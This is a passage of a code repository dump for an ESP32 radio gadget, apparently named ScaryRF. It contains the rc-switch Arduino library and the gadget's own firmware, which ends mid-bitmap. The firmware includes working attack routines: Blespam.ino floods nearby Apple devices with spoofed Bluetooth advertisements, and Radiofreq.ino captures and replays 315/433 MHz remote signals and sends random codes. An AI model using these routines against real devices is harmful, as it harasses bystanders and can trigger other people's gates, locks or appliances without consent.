if(databitsstartinone) { averagebitduration = (int)(0.5 + ((double)dataduration)/numberofdatabits); squaredaveragebitduration = (unsigned long)averagebitduration * (unsigned long)averagebitduration; } else { averagebitduration = (int)(0.5 + ((double)alternatedataduration)/numberofdatabits); squaredaveragebitduration = (unsigned long)averagebitduration * (unsigned long)averagebitduration; variancebitduration = alternatevariancebitduration; code = alternatecode; delay = alternatedelay; } // check whether all bits durations are similar, discard otherwise // a coefficient of variation (standard deviation/average) threshold of 5% should be adequate // that means rejecting if standard deviation > average * 5 / 100 // in the squared scale is variance > squared average * 25 / 10000 if (variancebitduration * 10000 > squaredaveragebitduration * 25 ) { return false; } bool invertedprotocoldecoded = !((!databitsstartinone) ^ (tmpfirstperiodlevel == 0)); // get delay as average of the shorter level timings delay = (int)(0.5 + ((double)delay)/numberofdatabits); // ratio between long and short timing unsigned int protocolratio = (unsigned int)(0.5 + ((double)(averagebitduration - delay)) / (double)delay); // improved pulselenght (delay) calculation int normalizedpulselength = (int)(0.5 + (double)averagebitduration/(double)(protocolratio+1)); // store results RCSwitch::nReceivedValue = code; RCSwitch::nReceivedBitlength = numberofdatabits; RCSwitch::nReceivedDelay = normalizedpulselength; RCSwitch::nReceivedInverted = invertedprotocoldecoded; RCSwitch::nReceivedLevelInFirstTiming = tmpfirstperiodlevel; // for compatibility: check which protocol fits the data // this can be completely removed from the receiver part of the library // and let the programer check if the received code is from the protocol // that was expected const unsigned int delayTolerance = delay * RCSwitch::nReceiveTolerance / 100; for(unsigned int i = 1; i <= numProto; i++) { #ifdef ESP8266 const Protocol &pro = proto[i-1]; #else Protocol pro; memcpy_P(&pro, &proto[i-1], sizeof(Protocol)); #endif if (invertedprotocoldecoded == pro.invertedSignal && // protocol inversion is correct AND diff(delay, pro.pulseLength) < delayTolerance && // pulse length is correct AND protocolratio == (int)(0.5 + (double)pro.one.high/(double)pro.one.low) && // long vs short ratio is correct AND ( (databitsstartinone) ? diff(RCSwitch::timings[0], pro.syncFactor.low * delay) < (pro.syncFactor.low * delayTolerance) // the sync timing is correct : diff(RCSwitch::timings[1], pro.syncFactor.low * delay) < (pro.syncFactor.low * delayTolerance) // the sync timing is correct ) && ( (databitsstartinone) ? diff(RCSwitch::timings[changeCount-1], pro.syncFactor.high * delay) < (pro.syncFactor.high * delayTolerance ) // the sync timing is correct : diff(RCSwitch::timings[0], pro.syncFactor.high * delay) < (pro.syncFactor.high * delayTolerance ) // the sync timing is correct ) ) { // the sync timing is correct finalp = i; break; } } /* For protocols that start low, the sync period looks like * _________ * _____________| |XXXXXXXXXXXX| * * |--1st dur--|-2nd dur-|-Start data-| * * The 3rd saved duration starts the data. * * For protocols that start high, the sync period looks like * * ______________ * | |____________|XXXXXXXXXXXXX| * * |-filtered out-|--1st dur--|--Start data--| * * The 2nd saved duration starts the data */ RCSwitch::nReceivedProtocol = finalp; // will be 0 if the code is recognized but it is of an unknown protocol return true; } void RECEIVE_ATTR RCSwitch::handleInterrupt() { static unsigned int changeCount = 0; static unsigned long lastTime = 0; static unsigned int repeatCount = 0; const long time = micros(); const unsigned int duration = time - lastTime; if (duration > RCSwitch::nSeparationLimit & changeCount != 1 ) { // A long stretch without signal level change occurred. This could // be the gap between two transmission. // It allows a second long duration to be stored // to accomodate for protocols with long high-level (first part) sync duration if (diff(duration, RCSwitch::timings[0]) < 200) { // This long signal is close in length to the long signal which // started the previously recorded timings; this suggests that // it may indeed by a a gap between two transmissions (we assume // here that a sender will send the signal multiple times, // with roughly the same gap between them). repeatCount++; if (repeatCount == 2) { receiveProtocol(1,changeCount); repeatCount = 0; } } changeCount = 0; // store the opposite level, because the time recorded is the one of the previous level RCSwitch::firstperiodlevel = ! digitalRead(RCSwitch::nStaticReceiverPin); } // detect overflow if (changeCount >= RCSWITCH_MAX_CHANGES) { changeCount = 0; // store the opposite level, because the time recorded is the one of the previous level RCSwitch::firstperiodlevel = ! digitalRead(RCSwitch::nStaticReceiverPin); repeatCount = 0; } RCSwitch::timings[changeCount++] = duration; lastTime = time; } #endif ================================================ FILE: Bibliotecas/rc-switch-master/RCSwitch.h ================================================ /* RCSwitch - Arduino libary for remote control outlet switches Copyright (c) 2011 Suat Özgür. All right reserved. Contributors: - Andre Koehler / info(at)tomate-online(dot)de - Gordeev Andrey Vladimirovich / gordeev(at)openpyro(dot)com - Skineffect / http://forum.ardumote.com/viewtopic.php?f=2&t=46 - Dominik Fischer / dom_fischer(at)web(dot)de - Frank Oltmanns / .(at)gmail(dot)com - Max Horn / max(at)quendi(dot)de - Robert ter Vehn / .(at)gmail(dot)com Project home: https://github.com/sui77/rc-switch/ This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _RCSwitch_h #define _RCSwitch_h #if defined(ARDUINO) && ARDUINO >= 100 #include "Arduino.h" #elif defined(ENERGIA) // LaunchPad, FraunchPad and StellarPad specific #include "Energia.h" #elif defined(RPI) // Raspberry Pi #define RaspberryPi // Include libraries for RPi: #include /* memcpy */ #include /* abs */ #include #elif defined(SPARK) #include "application.h" #else #include "WProgram.h" #endif #include // At least for the ATTiny X4/X5, receiving has to be disabled due to // missing libm depencies (udivmodhi4) #if defined( __AVR_ATtinyX5__ ) or defined ( __AVR_ATtinyX4__ ) #define RCSwitchDisableReceiving #endif // Number of maximum high/Low changes per packet. // We can handle up to (unsigned long) => 32 bit * 2 H/L changes per bit + 2 for sync #define RCSWITCH_MAX_CHANGES 67 class RCSwitch { public: RCSwitch(); void switchOn(int nGroupNumber, int nSwitchNumber); void switchOff(int nGroupNumber, int nSwitchNumber); void switchOn(const char* sGroup, int nSwitchNumber); void switchOff(const char* sGroup, int nSwitchNumber); void switchOn(char sFamily, int nGroup, int nDevice); void switchOff(char sFamily, int nGroup, int nDevice); void switchOn(const char* sGroup, const char* sDevice); void switchOff(const char* sGroup, const char* sDevice); void switchOn(char sGroup, int nDevice); void switchOff(char sGroup, int nDevice); void sendTriState(const char* sCodeWord); void send(unsigned long code, unsigned int length); void send(const char* sCodeWord); #if not defined( RCSwitchDisableReceiving ) void enableReceive(int interrupt); void enableReceive(); void disableReceive(); bool available(); void resetAvailable(); unsigned long getReceivedValue(); unsigned int getReceivedBitlength(); unsigned int getReceivedDelay(); unsigned int getReceivedProtocol(); unsigned int* getReceivedRawdata(); bool getReceivedInverted(); unsigned int getReceivedLevelInFirstTiming(); #endif void enableTransmit(int nTransmitterPin); void disableTransmit(); void setPulseLength(int nPulseLength); void setRepeatTransmit(int nRepeatTransmit); #if not defined( RCSwitchDisableReceiving ) void setReceiveTolerance(int nPercent); #endif /** * Description of a single pulse, which consists of a high signal * whose duration is "high" times the base pulse length, followed * by a low signal lasting "low" times the base pulse length. * Thus, the pulse overall lasts (high+low)*pulseLength */ struct HighLow { uint8_t high; uint8_t low; }; /** * A "protocol" describes how zero and one bits are encoded into high/low * pulses. */ struct Protocol { /** base pulse length in microseconds, e.g. 350 */ uint16_t pulseLength; HighLow syncFactor; HighLow zero; HighLow one; /** * If true, interchange high and low logic levels in all transmissions. * * By default, RCSwitch assumes that any signals it sends or receives * can be broken down into pulses which start with a high signal level, * followed by a a low signal level. This is e.g. the case for the * popular PT 2260 encoder chip, and thus many switches out there. * * But some devices do it the other way around, and start with a low * signal level, followed by a high signal level, e.g. the HT6P20B. To * accommodate this, one can set invertedSignal to true, which causes * RCSwitch to change how it interprets any HighLow struct FOO: It will * then assume transmissions start with a low signal lasting * FOO.high*pulseLength microseconds, followed by a high signal lasting * FOO.low*pulseLength microseconds. */ bool invertedSignal; }; void setProtocol(Protocol protocol); void setProtocol(int nProtocol); void setProtocol(int nProtocol, int nPulseLength); private: char* getCodeWordA(const char* sGroup, const char* sDevice, bool bStatus); char* getCodeWordB(int nGroupNumber, int nSwitchNumber, bool bStatus); char* getCodeWordC(char sFamily, int nGroup, int nDevice, bool bStatus); char* getCodeWordD(char group, int nDevice, bool bStatus); void transmit(HighLow pulses); #if not defined( RCSwitchDisableReceiving ) static void handleInterrupt(); static bool receiveProtocol(const int p, unsigned int changeCount); int nReceiverInterrupt; static int nStaticReceiverPin; // needed because nReceiverInterrupt (receiver pin) can not be read from handleInterrupt because it is static #endif int nTransmitterPin; int nRepeatTransmit; Protocol protocol; #if not defined( RCSwitchDisableReceiving ) static int nReceiveTolerance; volatile static unsigned long nReceivedValue; volatile static unsigned int nReceivedBitlength; volatile static unsigned int nReceivedDelay; volatile static unsigned int nReceivedProtocol; static bool nReceivedInverted; static unsigned int nReceivedLevelInFirstTiming; const static unsigned int nSeparationLimit; /* * timings[0] contains sync timing, followed by a number of bits */ static unsigned int firstperiodlevel; static unsigned int timings[RCSWITCH_MAX_CHANGES]; #endif }; #endif ================================================ FILE: Bibliotecas/rc-switch-master/README.md ================================================ # rc-switch [![Build Status](https://travis-ci.org/sui77/rc-switch.svg?branch=master)](https://travis-ci.org/sui77/rc-switch) Use your Arduino or Raspberry Pi to operate remote radio controlled devices ## Download https://github.com/sui77/rc-switch/releases/latest rc-switch is also listed in the arduino library manager. ## Wiki https://github.com/sui77/rc-switch/wiki ## Info ### Send RC codes Use your Arduino or Raspberry Pi to operate remote radio controlled devices. This will most likely work with all popular low cost power outlet sockets. If yours doesn't work, you might need to adjust the pulse length. All you need is a Arduino or Raspberry Pi, a 315/433MHz AM transmitter and one or more devices with one of the supported chipsets: - SC5262 / SC5272 - HX2262 / HX2272 - PT2262 / PT2272 - EV1527 / RT1527 / FP1527 / HS1527 - Intertechno outlets - HT6P20X ### Receive and decode RC codes Find out what codes your remote is sending. Use your remote to control your Arduino. All you need is an Arduino, a 315/433MHz AM receiver (altough there is no instruction yet, yes it is possible to hack an existing device) and a remote hand set. For the Raspberry Pi, clone the https://github.com/ninjablocks/433Utils project to compile a sniffer tool and transmission commands. ================================================ FILE: Bibliotecas/rc-switch-master/keywords.txt ================================================ ####################################### # Syntax Coloring Map For RCSwitch ####################################### ####################################### # Datatypes (KEYWORD1) ####################################### RCSwitch KEYWORD1 ####################################### # Methods and Functions (KEYWORD2) ####################################### ########## #SENDS Begin ########## switchOn KEYWORD2 switchOff KEYWORD2 sendTriState KEYWORD2 send KEYWORD2 ########## #SENDS End ########## ########## #RECEIVE Begin ########## enableReceive KEYWORD2 disableReceive KEYWORD2 available KEYWORD2 resetAvailable KEYWORD2 setReceiveTolerance KEYWORD2 getReceivedValue KEYWORD2 getReceivedBitlength KEYWORD2 getReceivedDelay KEYWORD2 getReceivedProtocol KEYWORD2 getReceivedRawdata KEYWORD2 ########## #RECEIVE End ########## ########## #OTHERS Begin ########## enableTransmit KEYWORD2 disableTransmit KEYWORD2 setPulseLength KEYWORD2 setProtocol KEYWORD2 setRepeatTransmit KEYWORD2 ########## #OTHERS End ########## ####################################### # Constants (LITERAL1) ####################################### ================================================ FILE: Bibliotecas/rc-switch-master/library.json ================================================ { "name": "RCSwitch", "description": "Use your Arduino or Raspberry Pi to operate remote radio controlled devices", "keywords": "rf, radio, wireless", "authors": { "name": "Suat Ozgur" }, "repository": { "type": "git", "url": "https://github.com/sui77/rc-switch.git" }, "version": "2.52", "frameworks": [ "arduino", "energia", "wiringpi" ], "platforms": "*" } ================================================ FILE: Bibliotecas/rc-switch-master/library.properties ================================================ name=rc-switch version=2.6.2 author=sui77 maintainer=sui77,fingolfin sentence=Operate 433/315Mhz devices. paragraph=Use your Arduino or Raspberry Pi to operate remote radio controlled devices. This will most likely work with all popular low cost power outlet sockets. category=Device Control url=https://github.com/sui77/rc-switch architectures=avr,esp8266 includes=RCSwitch.h ================================================ FILE: OLD Version/ScaryRF-NoSD-SH1106/Blespam.ino ================================================ int i = 1; void Blesetup(){ NimBLEDevice::init(""); esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); //This should increase transmitting power to 9dBm esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); //Not sure if this works with NimBLE esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN ,ESP_PWR_LVL_P9); NimBLEServer *pServer = NimBLEDevice::createServer(); pAdvertising = pServer->getAdvertising(); } NimBLEAdvertisementData getOAdvertisementData() { NimBLEAdvertisementData randomAdvertisementData = NimBLEAdvertisementData(); uint8_t packet[17]; uint8_t i = 0; packet[i++] = 16; // Packet Length packet[i++] = 0xFF; // Packet Type (Manufacturer Specific) packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.) packet[i++] = 0x00; // ... packet[i++] = 0x0F; // Type packet[i++] = 0x05; // Length packet[i++] = 0xC1; // Action Flags const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 }; packet[i++] = types[rand() % sizeof(types)]; // Action Type esp_fill_random(&packet[i], 3); // Authentication Tag i += 3; packet[i++] = 0x00; // ??? packet[i++] = 0x00; // ??? packet[i++] = 0x10; // Type ??? esp_fill_random(&packet[i], 3); randomAdvertisementData.addData(std::string((char *)packet, 17)); return randomAdvertisementData; } void Bleloop(){ delay(40); u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("AppleSour..."); u8g2.setCursor(0, 20); u8g2.print(i); i++; u8g2.sendBuffer(); NimBLEAdvertisementData advertisementData = getOAdvertisementData(); pAdvertising->setAdvertisementData(advertisementData); pAdvertising->start(); delay(20); pAdvertising->stop(); } ================================================ FILE: OLD Version/ScaryRF-NoSD-SH1106/Radiofreq.ino ================================================ void Detect() { while (digitalRead(BUTTON_PIN_UP) != LOW) { if (receivedBitLength == 0 ) { u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Waiting Signal..."); u8g2.sendBuffer(); } if (mySwitch.available()) { receivedValue = mySwitch.getReceivedValue(); receivedBitLength = mySwitch.getReceivedBitlength(); unsigned int* rawSignal = mySwitch.getReceivedRawdata(); receivedProtocol = mySwitch.getReceivedProtocol(); if (receivedValue != 0) { u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Received Signal:"); u8g2.setCursor(0, 20); u8g2.print(receivedValue); u8g2.setCursor(0, 30); u8g2.printf("Bit:%d Ptc:%d", receivedBitLength, receivedProtocol); u8g2.sendBuffer(); mySwitch.resetAvailable(); } } if (digitalRead(BUTTON_PIN) == LOW && receivedValue != 0) { mySwitch.disableReceive(); delay(100); mySwitch.enableTransmit(TX_PIN); ELECHOUSE_cc1101.SetTx(); u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Received Signal:"); u8g2.setCursor(0, 20); u8g2.print(receivedValue); u8g2.setCursor(0, 30); u8g2.print("Sending..."); u8g2.sendBuffer(); mySwitch.setProtocol(receivedProtocol); mySwitch.send(receivedValue, receivedBitLength); delay(500); u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Received Signal:"); u8g2.setCursor(0, 20); u8g2.print(receivedValue); u8g2.setCursor(0, 30); u8g2.print("OK"); u8g2.sendBuffer(); ELECHOUSE_cc1101.SetRx(); mySwitch.disableTransmit(); delay(100); mySwitch.enableReceive(RX_PIN); } if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) { ELECHOUSE_cc1101.setMHZ(315); mhz = 315.00; } else { ELECHOUSE_cc1101.setMHZ(433.92); mhz = 433.92; } } } #define MAX_SAMPLES 600 volatile unsigned long rawData[MAX_SAMPLES]; volatile unsigned int dataPoints = 0; volatile unsigned long lastTime = 0; volatile bool signalState = false; void showCaptureInfo(float frequency, int rssi, int sampleCount) { u8g2.clearBuffer(); // Header u8g2.setFont(u8g2_font_6x10_tf); u8g2.drawUTF8(0, 10, "✅ Signal Captured"); u8g2.drawHLine(0, 12, 128); // Main information u8g2.setCursor(0, 25); u8g2.print("Freq: "); u8g2.print(frequency, 2); u8g2.print(" MHz"); u8g2.setCursor(0, 37); u8g2.print("Power: "); u8g2.print(rssi); u8g2.print(" dBm"); u8g2.setCursor(0, 49); u8g2.print("Samples: "); u8g2.print(sampleCount); // Footer u8g2.setFont(u8g2_font_5x7_tf); u8g2.setCursor(0, 63); u8g2.print("DIR:Repeat | BTN:New Capture"); u8g2.sendBuffer(); } void retransmitSignal(float mhz) { ELECHOUSE_cc1101.SetTx(); delay(15); // Stabilization time bool txState = HIGH; // Initial state always HIGH digitalWrite(TX_PIN, txState); for (unsigned int i = 0; i < dataPoints; i++) { unsigned long pulseDuration = rawData[i]; unsigned long startTime = micros(); // Send pulse with precise timing delayMicroseconds(pulseDuration - 12); // Compensate overhead txState = !txState; digitalWrite(TX_PIN, txState); // Ensure exact pulse duration while (micros() - startTime < pulseDuration) {} } digitalWrite(TX_PIN, LOW); ELECHOUSE_cc1101.SetRx(); // Quick feedback u8g2.clearBuffer(); u8g2.setCursor(0, 30); u8g2.print("Signal retransmitted!"); u8g2.sendBuffer(); delay(300); } void Raw() { while (true) { // Set initial frequency float mhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92; ELECHOUSE_cc1101.setMHZ(mhz); ELECHOUSE_cc1101.SetRx(); // Wait for capture button while (digitalRead(BUTTON_PIN) == HIGH) { if (digitalRead(BUTTON_PIN_UP) == LOW) return; delay(10); } // Prepare new capture u8g2.clearBuffer(); dataPoints = 0; lastTime = 0; signalState = false; // Setup interrupt attachInterrupt(digitalPinToInterrupt(RX_PIN), []{ unsigned long now = micros(); if (lastTime > 0) { unsigned long duration = now - lastTime; if (duration > 20 && duration < 100000 && dataPoints < MAX_SAMPLES) { //rawData[dataPoints++] = duration; //Teste uint16_t idx = dataPoints; dataPoints = idx + 1; rawData[idx] = duration; //End Teste signalState = !signalState; } } lastTime = now; }, CHANGE); // Capture loop with waveform int i = 1; while (digitalRead(BUTTON_PIN) == LOW) { if (digitalRead(BUTTON_PIN_UP) == LOW) { detachInterrupt(digitalPinToInterrupt(RX_PIN)); return; } // Check frequency change float newMhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92; if (newMhz != mhz) { mhz = newMhz; ELECHOUSE_cc1101.setMHZ(mhz); ELECHOUSE_cc1101.SetRx(); } // Update waveform int rssi = ELECHOUSE_cc1101.getRssi(); waveform[i] = map(rssi, -100, -40, 0, 1023); // Display information u8g2.setCursor(0, 7); u8g2.print(mhz, 2); u8g2.print("MHz "); u8g2.print(rssi); u8g2.print("dBm"); // Draw waveform int prevY = map(waveform[i - 1], 0, 1023, SCREEN_HEIGHT - 13, 8); int currY = map(waveform[i], 0, 1023, SCREEN_HEIGHT - 13, 8); u8g2.drawLine(i - 1, prevY, i, currY); u8g2.sendBuffer(); i++; if (i >= SCREEN_WIDTH) { u8g2.clearBuffer(); i = 1; } delay(30); } // Finish capture detachInterrupt(digitalPinToInterrupt(RX_PIN)); // Process results if (dataPoints > 0) { showCaptureInfo(mhz, ELECHOUSE_cc1101.getRssi(), dataPoints); // Multiple retransmission loop while (true) { if (digitalRead(BUTTON_PIN_UP) == LOW) return; if (digitalRead(BUTTON_PIN) == LOW) { delay(50); break; // Exit for new capture } if (digitalRead(BUTTON_PIN_DIR) == LOW) { delay(50); // Debounce retransmitSignal(mhz); } delay(10); } } else { u8g2.clearBuffer(); u8g2.setCursor(0, 30); u8g2.print("No signal captured!"); u8g2.sendBuffer(); delay(1000); } } } void Analyser() { u8g2.clearBuffer(); u8g2.setCursor(0, 20); u8g2.printf("Analyzing..."); u8g2.sendBuffer(); while (digitalRead(BUTTON_PIN_UP) != LOW) { int rssi; uint32_t detectedFrequency = 0; int detectedRssi = -100; for (size_t i = 0; i < sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]); i++) { uint32_t frequency = subghz_frequency_list[i]; if (digitalRead(BUTTON_PIN_UP) == LOW){ break; } ELECHOUSE_cc1101.setMHZ((float)frequency / 1000000.0); ELECHOUSE_cc1101.SetRx(); delayMicroseconds(3500); rssi = ELECHOUSE_cc1101.getRssi(); if (rssi >= rssi_threshold && rssi > detectedRssi) { detectedRssi = rssi; detectedFrequency = frequency; } } if (detectedFrequency != 0) { u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.printf("Signal detected:"); u8g2.setCursor(0, 20); u8g2.printf("Frequency:%.2fMHz", (float)detectedFrequency / 1000000.0); u8g2.setCursor(0, 30); u8g2.printf("RSSI:%ddBm", detectedRssi); u8g2.sendBuffer(); detectedFrequency = 0; } delay(600); } ELECHOUSE_cc1101.SetRx(); mySwitch.disableTransmit(); delay(100); mySwitch.enableReceive(RX_PIN); } void SendRandom() { if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) { ELECHOUSE_cc1101.setMHZ(315); mhz = 315.00; } else { ELECHOUSE_cc1101.setMHZ(433.92); mhz = 433.92; } u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Sending Random:"); u8g2.sendBuffer(); delay(100); unsigned long randomValue = 100000000 + random(900000000); int randomBitLength = 28; int randomProtocol = 0 + random(12); if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) { randomBitLength = 24; randomProtocol = 0 + random(12); } mySwitch.disableReceive(); delay(100); mySwitch.enableTransmit(TX_PIN); ELECHOUSE_cc1101.SetTx(); u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Sending Random:"); u8g2.setCursor(0, 20); u8g2.print(randomValue); u8g2.setCursor(0, 30); u8g2.print(randomProtocol); u8g2.setCursor(0, 40); u8g2.print("Sending..."); u8g2.sendBuffer(); mySwitch.setProtocol(randomProtocol); mySwitch.send(randomValue, randomBitLength); delay(100); u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Sending Random:"); u8g2.setCursor(0, 20); u8g2.print(randomValue); u8g2.setCursor(0, 30); u8g2.print("OK"); u8g2.sendBuffer(); ELECHOUSE_cc1101.SetRx(); mySwitch.disableTransmit(); delay(100); mySwitch.enableReceive(RX_PIN); } ================================================ FILE: OLD Version/ScaryRF-NoSD-SH1106/ScaryRF-Main.ino ================================================ #include #include #include //bluetooth #include NimBLEAdvertising *pAdvertising; //BLE END //Wifi #include #include #ifdef U8X8_HAVE_HW_I2C #include #endif #define RX_PIN 4 // Pino de recepção #define TX_PIN 2 // Pino de transmissão #define BUTTON_PIN 14 // Pino do botão #define BUTTON_PIN_DIR 27 // Pino do botão #define BUTTON_PIN_ESQ 12 // Pino do botão #define BUTTON_PIN_UP 26 // Pino do botão #define FREQUENCY_SWITCH_PIN 13 // Pino do interruptor para mudar a frequência #define SCREEN_WIDTH 128 // Largura da tela OLED #define SCREEN_HEIGHT 64 // Altura da tela OLED U8G2_SH1106_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, /* reset=*/ U8X8_PIN_NONE); #define scary_width 128 #define scary_height 64 unsigned const char scary_bits[] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8F, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x3F, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x1F, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xC0, 0x07, 0x00, 0xFE, 0xFF, 0x0F, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0x00, 0x03, 0x00, 0xFF, 0xFF, 0x07, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0x00, 0x06, 0x00, 0xFF, 0xFF, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x06, 0x00, 0xFF, 0xFF, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x05, 0x06, 0x10, 0xFF, 0xFF, 0x01, 0xE1, 0xFF, 0xFB, 0xFF, 0xFF, 0xFF, 0xCF, 0x9F, 0xFF, 0x87, 0x0D, 0x06, 0xBE, 0xFF, 0xFF, 0x81, 0xE3, 0xDF, 0xF9, 0xFF, 0x80, 0xFB, 0xE3, 0xC7, 0xFF, 0x87, 0x0D, 0x06, 0xBE, 0xFF, 0xFF, 0xC1, 0xE7, 0x07, 0xE8, 0xF3, 0x80, 0xF1, 0xE0, 0xE1, 0xFF, 0x87, 0x0F, 0x06, 0xFF, 0xFF, 0xFF, 0xC0, 0xFF, 0x03, 0xC8, 0xE0, 0x03, 0x60, 0x60, 0xE0, 0xFF, 0x83, 0x0F, 0x06, 0xFF, 0xFF, 0xFF, 0xC1, 0xFF, 0x00, 0x0C, 0x80, 0x03, 0xC0, 0xE0, 0xE0, 0xFF, 0x83, 0x0F, 0x07, 0xFF, 0xFF, 0xFF, 0x01, 0xFE, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0xE0, 0xE1, 0xFF, 0x87, 0x07, 0x07, 0xF7, 0xFF, 0xFF, 0x01, 0xFC, 0x20, 0x0C, 0x00, 0x83, 0xC0, 0xE0, 0xE1, 0xFF, 0x83, 0x03, 0x07, 0xF3, 0xFF, 0xFF, 0x03, 0xF8, 0x30, 0x0C, 0x06, 0x83, 0xC1, 0xE0, 0xC1, 0xFF, 0x83, 0x00, 0x07, 0xF3, 0xFF, 0xFF, 0x03, 0x70, 0xB0, 0x0C, 0x07, 0x83, 0xC1, 0xE0, 0xC1, 0xFF, 0x87, 0x80, 0x07, 0xF0, 0xFF, 0xFF, 0x03, 0x60, 0xF0, 0x8C, 0x03, 0x83, 0xC1, 0xE0, 0xE1, 0xFF, 0x07, 0xC0, 0x07, 0xF0, 0xFF, 0xFF, 0xEF, 0x60, 0xF8, 0xE6, 0x00, 0x83, 0xE1, 0xE0, 0xE1, 0xFF, 0x07, 0xC0, 0x07, 0xF0, 0xFF, 0xFF, 0xEF, 0x61, 0xF8, 0x3E, 0x00, 0x83, 0xE3, 0xE0, 0xE1, 0xFF, 0x03, 0x00, 0x07, 0xF0, 0xFF, 0xFF, 0xFF, 0x21, 0xF8, 0x1E, 0x00, 0x83, 0xE3, 0xE1, 0xE1, 0xFF, 0x03, 0x00, 0x07, 0xF3, 0xFF, 0xFF, 0xFF, 0x01, 0xF8, 0x0F, 0x0C, 0x83, 0xFB, 0xE0, 0xE1, 0xFF, 0x83, 0x03, 0x07, 0xF3, 0xFF, 0xFF, 0xFF, 0x01, 0xF8, 0x0F, 0x0E, 0x83, 0xFF, 0xF0, 0xE1, 0xFF, 0x83, 0x07, 0x0F, 0xF7, 0xFF, 0xFF, 0xF7, 0x01, 0xF8, 0x05, 0x0F, 0x83, 0xFB, 0xE0, 0xE1, 0xFF, 0x83, 0x07, 0x0F, 0xFF, 0xFF, 0xFF, 0x63, 0x00, 0xF8, 0x85, 0x0F, 0xC3, 0xFF, 0x60, 0xE0, 0xFF, 0x83, 0x07, 0x0F, 0xFF, 0xFF, 0xFF, 0x43, 0x60, 0xF0, 0x84, 0x0F, 0xC3, 0xFF, 0x00, 0xE0, 0xFF, 0x07, 0x07, 0x0F, 0xFF, 0xFF, 0xFF, 0x43, 0x60, 0xF0, 0x0C, 0x0B, 0xC3, 0xFF, 0x00, 0xE0, 0xFF, 0x03, 0x87, 0x0F, 0xFF, 0xFF, 0xFF, 0x03, 0xF0, 0x00, 0x0C, 0x03, 0xC3, 0xFF, 0x03, 0xE0, 0xFF, 0x03, 0x87, 0x0F, 0xFF, 0xFF, 0xFF, 0x03, 0xF0, 0x00, 0x0C, 0x00, 0xE3, 0xFF, 0x0F, 0xE0, 0xFF, 0x03, 0x87, 0x8F, 0xFF, 0xFF, 0xFF, 0x03, 0xF0, 0x01, 0x0C, 0x00, 0xE2, 0xFF, 0x0E, 0xE0, 0xFF, 0x03, 0x87, 0x8F, 0xFF, 0xFF, 0xFF, 0x03, 0xF4, 0x07, 0x1C, 0x00, 0xEA, 0xFF, 0xDE, 0xE0, 0xFF, 0x01, 0x87, 0x0F, 0xFF, 0xFF, 0xFF, 0x0F, 0xF6, 0x0F, 0x1C, 0x2E, 0xF8, 0xFF, 0xDC, 0xE0, 0xFF, 0x00, 0x86, 0x8F, 0xFF, 0xFF, 0xFF, 0x1F, 0xFF, 0x6F, 0xBC, 0xAF, 0xFB, 0xFF, 0xFC, 0xE0, 0xFF, 0xFF, 0xC7, 0x8F, 0xFF, 0xFF, 0xFF, 0x9F, 0xFF, 0x7F, 0xBC, 0xFF, 0xFB, 0xFF, 0x78, 0xF0, 0xFF, 0xFF, 0xC7, 0xDF, 0xFF, 0xFF, 0xFF, 0xDF, 0xFF, 0xFF, 0xFC, 0xFF, 0xFF, 